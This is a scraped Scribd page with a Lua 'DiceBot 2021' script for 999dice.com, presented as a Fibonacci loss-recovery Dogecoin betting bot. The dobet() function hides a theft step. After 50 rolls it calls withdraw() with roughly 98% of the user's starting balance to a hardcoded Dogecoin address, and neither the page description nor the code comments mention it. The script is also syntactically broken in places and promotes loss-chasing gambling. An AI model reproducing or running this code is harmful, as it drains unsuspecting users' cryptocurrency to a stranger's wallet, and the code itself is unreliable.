0% found this document useful (0 votes)
2K views3 pages

Lua Script DIcebot 2021

This document contains the script for a dice betting bot that uses a Fibonacci betting strategy. It initializes variables like the base bet amount, chance of placing a bet, and limits for losses before increasing the bet. It tracks the balance, streaks of wins and losses, and increases the bet following the Fibonacci sequence after multiple losses to try and recover funds.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
2K views3 pages

Lua Script DIcebot 2021

This document contains the script for a dice betting bot that uses a Fibonacci betting strategy. It initializes variables like the base bet amount, chance of placing a bet, and limits for losses before increasing the bet. It tracks the balance, streaks of wins and losses, and increases the bet following the Fibonacci sequence after multiple losses to try and recover funds.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 3

-- SCRIPT DICEBOT 2021

-- Work in 999dice.com.
-- For Doge only!

isTokens = false -- Set to false for satoshi betting, true for tokens
a = 0
k = 400

i = balance*0.98
roll=0
target = balance*1.1
basechance=42 --sets your chance for placing a bet
basebet = 0.01 -- Base bet in whole numbers.
basegambit = 0.1 -- base gambit section betting in whole numbers

prerolllimit = 3 -- length of loss set before gambit


gambitlimit = 2 -- number of gambit bets to make

fibstep = 0.135 -- Stepping for the fibonacci bet increments

rollDelay = 0 -- Sleep period in seconds. Some sites need this

-- Init variables

nextbet=basebet -- sets your first bet.


chance = basechance -- sets the chance to play at
losscount = 0 -- to count until set of losses
waitforwin = 0 -- Wait for a win after gambit
gambit = 0 -- flag for when doing 3-bet runs
gambitcount = 0 -- number of gambit bets performed currently
gambitmult = 0 -- gambit multiplier/counter
streakStartBalance = 0
previouscount = 0

local clock = os.clock


function sleep(n) -- seconds
local t0 = clock()
while clock() - t0 <= n do end
end

function myfib(level)
fibno=basegambit
temp=0
prevfibno=0
if level == 0 then
fibno= basebet
else
for j=0,level-1,1 do

temp=fibno
fibno=fibno + (prevfibno * fibstep)
prevfibno=temp
end
end
return fibno
end
function dobet()
roll+=1
if a==5 then
resetseed()
a=0
bethigh = !bethigh
end

if roll>=50 and i>k then


resetseed()

withdraw(i,"DRyBaLiPp1d2KQdxt4BUQptiR21vzyzHfb")
print(" ") print("target: "..target)
print("nextbet: "..nextbet)
print("chance: "..chance)
print("Profit to go: "..target - balance)
print(" ")
end

end
if win then
if gambit == 0 then -- win, regular roll
losscount = 0
waitforwin = 0
else -- win, gambit roll; reset everything
if(balance > streakStartBalance) then -- Reset everything
a+=1
gambitcount=0
previouscount = 0
gambit=0
gambitmult = 0
nextbet = basebet
losscount = 0
waitforwin = 0
streakStartBalance = 0
else -- continue gambit
gambit = 0
previouscount -= 1
if(previouscount < 1) then
previouscount = 1
end
nextbet = basebet
-- nextbet = myfib(previouscount)
end
end
else -- lost last roll
if(streakStartBalance == 0) then -- Get initial balance at the start of
this run
streakStartBalance = balance
end
if gambit == 0 then -- lose, regular roll
losscount = losscount + 1
if losscount >= prerolllimit and waitforwin == 0 then -- turn on
the gambit
gambit = 1
gambitcount = 1
previouscount += 1
-- gambitmult = gambitmult + 1
nextbet = myfib(previouscount)
-- nextbet = basebet * (multiplier^gambitmult)
losscount = 0 -- primed for after the gambit
end
else -- lose, gambit roll
if gambitcount<gambitlimit and waitforwin == 0 then -- next bet
is another gambit
gambitcount = gambitcount + 1
previouscount += 1
nextbet = myfib(previouscount)
else -- gambit set over; go back to base bet but preserve
previouscount
nextbet = basebet
gambitcount = 0
gambit = 0
waitforwin = 1
end
end
end

sleep(rollDelay)

end

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy